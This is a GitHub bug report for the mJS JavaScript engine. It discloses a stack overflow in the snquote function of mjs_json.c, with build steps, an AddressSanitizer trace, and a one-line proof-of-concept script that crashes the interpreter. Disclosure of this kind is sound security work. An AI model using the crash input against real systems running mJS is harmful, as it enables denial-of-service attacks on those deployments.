Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stack-overflow mjs/src/mjs_json.c:102:7 in snquote #200

Open
hope-fly opened this issue Dec 31, 2021 · 0 comments
Open

Stack-overflow mjs/src/mjs_json.c:102:7 in snquote #200

hope-fly opened this issue Dec 31, 2021 · 0 comments

Comments

@hope-fly
Copy link

hope-fly commented Dec 31, 2021

mJS revision

Commit: b1b6eac

Build steps
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js

(JSON.stringify([1, 2, 3]))((JSON.parse - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));

Execution steps & Output
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==61262==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc3387c0b8 (pc 0x00000057a83c bp 0x7ffc338787d0 sp 0x7ffc33878338 T0)
    #0 0x57a83b in snquote /root/mjs/src/mjs_json.c:102:7
    #1 0x57a83b in to_json_or_debug /root/mjs/src/mjs_json.c:167
    #2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #5 0x7f82916bcb96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

SUMMARY: AddressSanitizer: stack-overflow /root/mjs/src/mjs_json.c:102:7 in snquote
==61262==ABORTING

Credits: Found by OWL337 team.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant